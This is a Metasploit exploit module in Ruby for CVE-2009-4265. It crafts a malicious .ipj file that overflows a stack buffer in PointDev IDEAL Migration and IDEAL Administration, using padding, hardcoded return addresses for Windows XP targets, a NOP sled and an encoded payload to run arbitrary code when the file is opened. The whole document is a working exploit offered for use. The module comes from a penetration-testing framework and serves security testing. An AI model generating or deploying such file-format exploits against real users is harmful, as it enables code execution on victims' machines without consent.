##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PointDev IDEAL Migration Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in versions v9.7
				through v10.5 of IDEAL Administration and versions 4.5 and 4.51 of
				IDEAL Migration. All versions are suspected to be vulnerable.
				By creating a specially crafted ipj file, an an attacker may be able
				to execute arbitrary code.

				NOTE: IDEAL Administration 10.5 is compiled with /SafeSEH
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'Dr_IDE', 'dookie', 'jduck' ],
			'References'     =>
				[
					[ 'CVE', '2009-4265' ],
					[ 'OSVDB', '60681' ],
					[ 'EDB', '10319' ],
					[ 'EDB', '12403' ],
					[ 'EDB', '12404' ],
					[ 'EDB', '12540' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x1a\x22\x3c\x3e",
					'StackAdjustment' => -3500,
					'DisableNops' => true
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'IDEAL Migration <= 4.5.1 on Windows XP',
						{
							'Ret' => 0x1001411e # CALL EBP in ULMigration_us.dll
							# 'Ret' => 0x7c96bf33 # JMP ESP in ULMigration_us.dll (from Blake)
							# 'Ret' => 0x77f31d2f # JMP ESP in ?? (from Dr_IDE)
						}
					],

					[ 'IDEAL Administration <= 10.5 on Windows XP',
						{
							'Ret' => 0x10010F2E # CALL EBP in ListWmi.dll
							# 'Ret' => 0x77f31d2f # JMP ESP in ?? (from Dr_IDE)
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 05 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME',   [ false, 'The file name.',  'msf.ipj']),
			], self.class)
	end

	def exploit

		ipj = "\r\n"
		ipj << "[Group,Export,Yes]\r\n"
		ipj << "Computer="

		sploit = ""
		sploit << rand_text_alpha_upper(2420)
		sploit << [target.ret].pack('V')
		# These nops are required to move the payload below where ebp points
		# when returning...
		sploit << make_nops(768)
		sploit << payload.encoded

		ipj << sploit
		ipj << "\r\n"
		ipj << "[End]\r\n"

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(ipj)

	end

end